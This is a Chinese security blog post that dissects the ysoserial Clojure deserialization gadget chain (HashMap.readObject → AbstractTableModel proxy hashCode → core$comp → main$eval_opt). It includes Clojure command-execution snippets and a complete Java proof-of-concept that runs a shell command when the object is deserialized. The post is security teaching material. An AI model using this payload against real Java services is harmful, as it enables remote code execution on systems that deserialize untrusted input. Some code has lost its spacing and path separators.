Java 安全 | Clojure 链

admin 2025年6月9日23:24:36评论1 views字数 12382阅读41分16秒阅读模式

Clojure 链

  • 前言
    • Clojure 简介
    • 本地 Clojure 环境安装
  • 链路分析
    • 分析前置信息
    • main$eval_opt::invoke -> 危险方法
    • core$comp$fn__4727::invoke -> 链式调用
    • core$constantly::invoke -> 对象封装
    • AbstractTableModel$ff19274a::n个方法
    • HashMap::readObject -> 链路开头
  • Ending...

前言

Clojure             @JackOfMostTrades                      clojure1.8.0

一条 RCE 链, 链路挺有意思, 充分体现了继承|多态, 该组件与 BeanShell, Groovy 相似, 对于它的介绍也需要絮叨絮叨.

Clojure 简介

对于 Clojure 是什么, 可以参考http://www.clojurechina.com/post/kai-shi-xue-clojure/ 文章说的比较详细, 不过是 Mac 环境搭建的说明.

而在 Windows 中, 可参考: https://www.w3cschool.cn/clojure/clojure_environment.html, 相当于一个 API 文档来用.

实际上这门语言一些第三方网站也提供了在线运行环境, 例如: https://www.bejson.com/runcode/clojure/

而官网为: https://clojure.org/, 从中可以找到官方的 API 文档以及介绍.

以及相应语法的案例: https://clojuredocs.org/clojure.core

当然使用在线环境总会给人一种不切实际的感觉, 下面进行本地安装调试环境逐步进行理解.

本地 Clojure 环境安装

首先在 IDEA 中进行安装扩展:

Java 安全 | Clojure 链

Leiningen 是 Clojure 的项目管理和构建工具,类似于 Java 中的 Maven 或 Gradle。

随后去 Maven 官方: https://mvnrepository.com/artifact/org.clojure/clojure/1.10.1 安装 clojure 包, 并且将它所需的依赖包也安装:

Java 安全 | Clojure 链

安装之后由于我们安装了Cursive, 所以在IDEA中可以直接创建Clojure项目, 如下:

Java 安全 | Clojure 链

随后创建对应的代码并运行即可:

Java 安全 | Clojure 链

而这里 IDEA 运行 Clojure 的命令行如下:

java.exe -classpath C:UsersAdministratorDesktopyuanma01untitledsrc;D:clojure-1.10.1.jar;D:core.specs.alpha-0.2.44.jar;D:spec.alpha-0.2.176.jar clojure.main C:/Users/Administrator/Desktop/yuanma01/untitled/src/MyDemo.clj

Clojure 原生运行

在刚刚我们的IDEA中已经见到了, 最终成功输出了Hello World, 且通过IDEA中执行的命令行可以知道的是它主要使用的是clojure-1.10.1.jar这个jar包, 在该jar包中存在clojure.main类, 定义如下:

Java 安全 | Clojure 链

以原生的java运行我们只需要使用ClassPath (-classpath / -cp)指明该Jar包其目的是为了令AppClassLoader能够加载到我们的类, 随后运行AppClassLoader搜索路径中的clojure.main即可, 完整命令如下:

java -cp "D:clojure-1.10.1.jar;D:core.specs.alpha-0.2.44.jar;D:spec.alpha-0.2.176.jar" clojure.main

命令行调试结果:

Java 安全 | Clojure 链

除了这种方式以外, 我们还可以指明.clj文件直接运行, 如下:

Java 安全 | Clojure 链

几个代码执行 Demo

通过 Clojure 本身进行命令执行

我们知道了, Clojure是一门编程语言, 根据它的语法我们可以创建如下执行命令的方式.

通过 Clojure 提供的 Shell:

(use '[clojure.java.shell :only [sh]]) (sh"calc")
(use '[clojure.java.shell])                                 ; 引入所有
(sh"calc")
(ns MyDemo03
  (:require [clojure.java.shell :as shell]))  ; 加载命名空间并设置别名
(shell/sh"calc")  ; 通过别名调用 sh 函数

引入 Java 的 Runtime 并执行命令:

(. (java.lang.Runtime/getRuntime) exec "whoami")

通过 Eval 调用 Clojure Shell:

(ns MyDemo05)
;; 加载 clojure.java.shell 命名空间
(eval '(require '[clojure.java.shell :as sh]))
;; 执行 shell 命令
(eval '(sh/sh"ls""-la"))

利用 read-string + eval 进行命令执行:

(read-string"#=(eval (. (Runtime/getRuntime) exec "calc"))")
参考: https://clojuredocs.org/clojure.core/*read-eval*

以及 *read-eval* 的利用:

(eval (binding [*read-eval* false] (read-string"(. (Runtime/getRuntime) exec "calc")")))
参考: https://clojuredocs.org/clojure.core/*read-eval*

最终运行结果都会弹窗. 这里使用 IDEA 中执行命令的方式:

Java 安全 | Clojure 链

以上案例均可以在官网 API 中找到使用案例. 不一样的就是可以自己做一些小小的变形.

通过 Java API 进行操作

Clojure 提供了 JavaAPI, 链接: https://clojure.github.io/clojure/javadoc/

官网提供的案例如下:

package com.heihu577;

import clojure.lang.RT;
import clojure.lang.Var;

publicclassEvalClojure3{
publicstaticvoidmain(String[] args){
        Var myVar = RT.var("clojure.core""+");
        System.out.println(myVar.invoke(12));
/*
         对应 Clojure 代码: (+ 1 2)
        */

    }
}

以及一个稍微复杂一点的案例:

IFn map = Clojure.var("clojure.core""map");
IFn inc = Clojure.var("clojure.core""inc");
clojure.lang.LazySeq seq = (clojure.lang.LazySeq) map.invoke(inc, Clojure.read("[1 2 3]"));
for (Object o : seq) {
    System.out.print(o + " ");
/*
    * 输出 2 3 4
    * */

}
/*
* 对应 Clojure 代码: (map inc [1 2 3])
* */

命令执行

根据官方文档以及 Clojure 自己本身的语法可以编写出如下代码调用 API 进行命令执行:

package com.heihu577;

import clojure.lang.RT;
import clojure.lang.Var;

publicclassEvalClojure{
publicstaticvoidmain(String[] args){
        Var var = RT.var("clojure.core""use"); // use -> 从 clojure.core 中引入 use
var.invoke(RT.readString("clojure.java.shell")); // (use '[clojure.java.shell]) -> 引入 clojure.java.shell
        Var var2 = RT.var("clojure.java.shell""sh"); // sh -> 从 clojure.java.shell 中引入 sh
        var2.invoke("calc"); // (sh "calc") -> 执行
/*
         (use '[clojure.java.shell])
         (sh "calc")
        */

    }
}
通过 eval 命令执行

通过 eval 进行执行较简单, 如下:

Var eval = RT.var("clojure.core""eval");
eval.invoke(RT.readString("(.exec (java.lang.Runtime/getRuntime) "calc")"));
// (eval (.exec (java.lang.Runtime/getRuntime) "calc"))

以及:

package com.heihu577;

import clojure.lang.IFn;
import clojure.lang.RT;

publicclassEvalClojure2{
publicstaticvoidmain(String[] args){
// 获取 Clojure 的 eval 函数引用
        IFn eval = RT.var("clojure.core""eval");
// 加载 clojure.java.shell 命名空间
        eval.invoke(RT.readString("(require '[clojure.java.shell :as sh])"));
// 执行 shell 命令 (ls -la)
        Object result = eval.invoke(RT.readString("(sh/sh "ls" "-la")"));
// 处理结果
        System.out.println("命令执行结果:");
        System.out.println(result);
/*
            (eval '(require '[clojure.java.shell :as sh]))
            (eval '(sh/sh "ls" "-la"))
        */

    }
}

查看调用栈【文件加载 & 交互式代码执行 & JavaAPI】

到现在我们知道Clojure有两种调用方式, 一种是指明文件一种是代码执行, 它们命令行分别如下:

java -cp "D:clojure-1.10.1.jar;D:core.specs.alpha-0.2.44.jar;D:spec.alpha-0.2.176.jar" clojure.main 想要执行的文件名

以及

java -cp "D:clojure-1.10.1.jar;D:core.specs.alpha-0.2.44.jar;D:spec.alpha-0.2.176.jar" clojure.main

那么这两种方式在Java内部会发生什么呢? 也就是说, 他们的调用栈是什么? 实际上这里可以通过一个Clojure的语法将异常抛出, 我们准备如下语法:

(try
;; 可能抛出异常的代码
  (throw (Exception."自定义异常"))
  (catch Exception e
;; 打印完整调用栈
    (.printStackTrace e)))

也就是主动的的去抛出一个异常, 随后即可爆出 Java 内部的调用栈, 我们可以观察文件加载 & 交互式代码执行这两种不同的方式的调用栈, 首先是交互式代码执行方式:

Java 安全 | Clojure 链

在这里我们可以看到的是, clojure.core$eval::invokeStatic最终会调用到clojure的编译器中进行执行, 那么再来看一下文件加载的逻辑:

Java 安全 | Clojure 链

最终使用的是clojure.main$script_opt进行文件加载, 除了Java异常会暴露函数之间的调用过程, 我们还可以通过在clj文件中执行错误的命令, 来查看到Clojure所给出的调用栈信息:

Java 安全 | Clojure 链

Clojure主动将异常信息保存到C:UsersADMINI~1AppDataLocalTempclojure-1574820234496758481.edn中, 查看文件内容如下:

Java 安全 | Clojure 链

以及在Java API中也可以看到其调用栈:

Var eval = RT.var("clojure.core""eval");
eval.invoke(RT.readString("(.exec (java.lang.Runtime/getRuntime) "cal")"));
Java 安全 | Clojure 链

链路分析

经过上述一系列介绍, 已经对 Clojure 是什么, 组件依赖, 使用方式, 在 Java 中调用 API 有了清晰的理解, 实际上对于该语言的使用始终会调用到 Clojure 中核心依赖部分, 所以后续的分析也都是在核心依赖中的某些类, 某些危险函数的分析. 接下来就是对 ysoserial 中的链路分析.

分析前置信息

Java 安全 | Clojure 链

ysoserial中最终使用的是main$eval_opt进行调用的, 而该类使用的官方语法是*read-eval*, 这一部分可以在:

https://clojuredocs.org/clojure.core/*read-eval*

中看到其使用方法, 例如:

user=> (eval (binding [*read-eval* false] (read-string "(. (Runtime/getRuntime) exec "whoami")")))
#object[java.lang.ProcessImpl 0x42a9e5d1 "java.lang.ProcessImpl@42a9e5d1"]

的一次命令执行案例, 其核心则是与read-string, binding, eval组合完成的.

main$eval_opt::invoke -> 危险方法

由于该链不是人工挖出来的, 而是gadget-inspector工具挖掘出来的, 其底层源码较为复杂, 并且我们知道的是*read-eval*是可以代码执行的, 所以没必要查看底层逻辑, 给出代码执行案例如下:

String clojurePayload = "(use '[clojure.java.shell :only [sh]]) (sh "whoami")";
main$eval_opt main$evalOpt = new main$eval_opt();
Object invoke = main$evalOpt.invoke(clojurePayload);
// 控制台输出: {:exit 0, :out "heihubook\administratorrn", :err ""}

main$eval_opt这个类实现了Serializable, 如图:

Java 安全 | Clojure 链

并且在invoke方法接收的参数可控时会造成clojure的代码执行漏洞, 如图:

Java 安全 | Clojure 链

其最终解析结果实际上会调用到shell$sh::invokeStatic, 其解析过程不再赘述:

Java 安全 | Clojure 链

corefn__4727::invoke -> 链式调用

接下来来看谁通过多态调用了main$eval_opt::invoke方法, 最终可以发现:

Java 安全 | Clojure 链

main$eval_opt继承于IFn, 遵循多态性. 而这边传递的参数则是该invoke方法传递过来的值. main$eval_opt的构造方法如下:

publicfinalclasscore$comp$fn__4727extendsRestFn{
    Object g;
    Object f;

public core$comp$fn__4727(Object var1, Object var2) {
this.g = var1; // 只需要 g 可控即可
this.f = var2;
    }
}

根据这个案例我们可以编写出如下 Demo:

package com.heihu577;

import clojure.core$comp$fn__4727;
import clojure.main$eval_opt;

publicclassPoc{
publicstaticvoidmain(String[] args){
        String clojurePayload = "(use '[clojure.java.shell :only [sh]]) (sh "calc")";
        main$eval_opt main$evalOpt = new main$eval_opt();
        core$comp$fn__4727 core$comp$fn__4727 = new core$comp$fn__4727(main$evalOpt, null);
        core$comp$fn__4727.invoke(clojurePayload);
    }
}

运行即可弹出计算器. 现在问题又来了, 谁又调用了core$comp$fn__4727::invoke方法呢?

core$constantly::invoke -> 对象封装

ysoserial中实际上没有地方调用core$comp$fn__4727::invoke方法, 但是引入了core$constantly类, 该类的invoke方法返回任意对象, 如图:

Java 安全 | Clojure 链

core$constantly::doInvoke方法会返回core$constantly::invoke传递进来的对象, 可以使用如下 DEMO 解释:

String clojurePayload = "(use '[clojure.java.shell :only [sh]]) (sh "calc")"// 注意该变量没在程序中使用.
main$eval_opt main$evalOpt = new main$eval_opt();
core$comp$fn__4727 core$comp$fn__4727 = new core$comp$fn__4727(main$evalOpt, null);
core$constantly core$constantly = new core$constantly();
core$constantly$fn__4614 coreConstantlyFn = (core$constantly$fn__4614) core$constantly.invoke(core$comp$fn__4727);
// 通过 invoke 封装对象
System.out.println(coreConstantlyFn.doInvoke("任意值~") == core$comp$fn__4727);
// 调用到 doInvoke 方法后, 最终会得到传递过去的对象, 比较结果为 true

而由于core$constantly$fn__4614继承了RestFnRestFn提供了invoke方法可以进行调用doInvoke, 如图:

Java 安全 | Clojure 链

所以我们可以直接调用invoke方法进行返回对象, 这是第二种方式:

String clojurePayload = "(use '[clojure.java.shell :only [sh]]) (sh "calc")";
main$eval_opt main$evalOpt = new main$eval_opt();
core$comp$fn__4727 core$comp$fn__4727 = new core$comp$fn__4727(main$evalOpt, null);
core$constantly core$constantly = new core$constantly();
core$constantly$fn__4614 coreConstantlyFn = (core$constantly$fn__4614) core$constantly.invoke(core$comp$fn__4727);
// 通过 invoke 封装对象
System.out.println(coreConstantlyFn.invoke("任意内容") == core$comp$fn__4727);
// 注意这里可以调用 invoke 方法, 传入和不传入参数都可以~, 因为重写了很多 invoke 方法, 最终返回 true.

corefn__4727::invoke & core$constantly::invoke 组合使用

知道上述理论后, 我们可以重新观看一下core$comp$fn__4727::invoke & core$constantly::invoke, 看看他们之间如何进行配合使用:

Java 安全 | Clojure 链

经过上述描述, 当前的测试 POC 可以如下所示:

package com.heihu577;

import clojure.core$comp$fn__4727;
import clojure.core$constantly;
import clojure.core$constantly$fn__4614;
import clojure.main$eval_opt;

publicclassPoc{
publicstaticvoidmain(String[] args){
// 放置 Payload 部分
        String clojurePayload = "(use '[clojure.java.shell :only [sh]]) (sh "calc")";
        core$constantly core$constantly = new core$constantly();
        core$constantly$fn__4614 coreConstantlyFn = (core$constantly$fn__4614) core$constantly.invoke(clojurePayload);
// 放置恶意对象部分
        main$eval_opt main$evalOpt = new main$eval_opt();
        core$comp$fn__4727 core$comp$fn__4727 = new core$comp$fn__4727(coreConstantlyFn, main$evalOpt);
// 调用 invoke 造成命令执行
        core$comp$fn__4727.invoke();
        core$comp$fn__4727.invoke("第二次弹窗~");
    }
}

运行即可弹窗两次.

AbstractTableModel$ff19274a::n个方法

现在思考一个问题, 谁调用了core$comp$fn__4727.invoke方法呢?答案是AbstractTableModel$ff19274a这个类, 该类中定义了很多方法都可以进行利用, 如图:

Java 安全 | Clojure 链

图中this.__clojureFnMap可以进行初始化:

Java 安全 | Clojure 链

__clojureFnMap这个成员属性的值应该如何创建呢?看一下谁继承了它并可以进行初始化:

Java 安全 | Clojure 链

最终可以编写如下POC, 并且手动调用hashCode方法进行命令执行:

package com.heihu577;

import clojure.core$comp$fn__4727;
import clojure.core$constantly;
import clojure.core$constantly$fn__4614;
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
import clojure.lang.PersistentHashMap;
import clojure.main$eval_opt;

import java.util.HashMap;

publicclassPoc{
publicstaticvoidmain(String[] args){
// 放置 Payload 部分
        String clojurePayload = "(use '[clojure.java.shell :only [sh]]) (sh "calc")";
        core$constantly core$constantly = new core$constantly();
        core$constantly$fn__4614 coreConstantlyFn = (core$constantly$fn__4614) core$constantly.invoke(clojurePayload);
// 放置恶意对象部分
        main$eval_opt main$evalOpt = new main$eval_opt();
        core$comp$fn__4727 core$comp$fn__4727 = new core$comp$fn__4727(coreConstantlyFn, main$evalOpt);
// 准备 Map
        AbstractTableModel$ff19274a abstractTableModel$ff19274a = new AbstractTableModel$ff19274a();
        HashMap<Object, Object> hsmap = new HashMap<>();
        hsmap.put("hashCode", core$comp$fn__4727);
        abstractTableModel$ff19274a.__initClojureFnMappings(PersistentHashMap.create(hsmap));
        abstractTableModel$ff19274a.hashCode(); // 手动调用  hashCode, 命令执行
    }
}

HashMap::readObject -> 链路开头

而我们知道的是, HashMap重写了readObject方法, 并且它的Key会进行计算hash值, 从而调用其hashCode方法进行计算, 那么这里则是链路开头, 编写 POC:

package com.heihu577;

import clojure.core$comp$fn__4727;
import clojure.core$constantly;
import clojure.core$constantly$fn__4614;
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
import clojure.lang.PersistentHashMap;
import clojure.main$eval_opt;

import java.io.*;
import java.util.HashMap;

publicclassPoc{
publicstaticvoidmain(String[] args)throws Exception {
// 放置 Payload 部分
        String clojurePayload = "(use '[clojure.java.shell :only [sh]]) (sh "calc")";
        core$constantly core$constantly = new core$constantly();
        core$constantly$fn__4614 coreConstantlyFn = (core$constantly$fn__4614) core$constantly.invoke(clojurePayload);
// 放置恶意对象部分
        main$eval_opt main$evalOpt = new main$eval_opt();
        core$comp$fn__4727 core$comp$fn__4727 = new core$comp$fn__4727(coreConstantlyFn, main$evalOpt);
// 准备 Map
        AbstractTableModel$ff19274a abstractTableModel$ff19274a = new AbstractTableModel$ff19274a();
// 链路开头
        HashMap<Object, Object> evilMap = new HashMap<>();
        evilMap.put(abstractTableModel$ff19274a, "");
// 防止 put 时调用 hashCode 进行计算从而进入链路, 在 put 完后再初始化
        HashMap<Object, Object> hsmap = new HashMap<>();
        hsmap.put("hashCode", core$comp$fn__4727);
        abstractTableModel$ff19274a.__initClojureFnMappings(PersistentHashMap.create(hsmap));
// 序列化与反序列化
        unserialize(serialize(evilMap));
    }

publicstatic ByteArrayOutputStream serialize(Object obj)throws IOException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(obj);
return byteArrayOutputStream;
    }

publicstatic Object unserialize(ByteArrayOutputStream byteArrayOutputStream)throws IOException, ClassNotFoundException {
returnnew ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())).readObject();
    }
}

运行即可弹出计算器~

Ending...

原文始发于微信公众号(Heihu Share):Java 安全 | Clojure 链

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月9日23:24:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java 安全 | Clojure 链https://cn-sec.com/archives/4151855.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息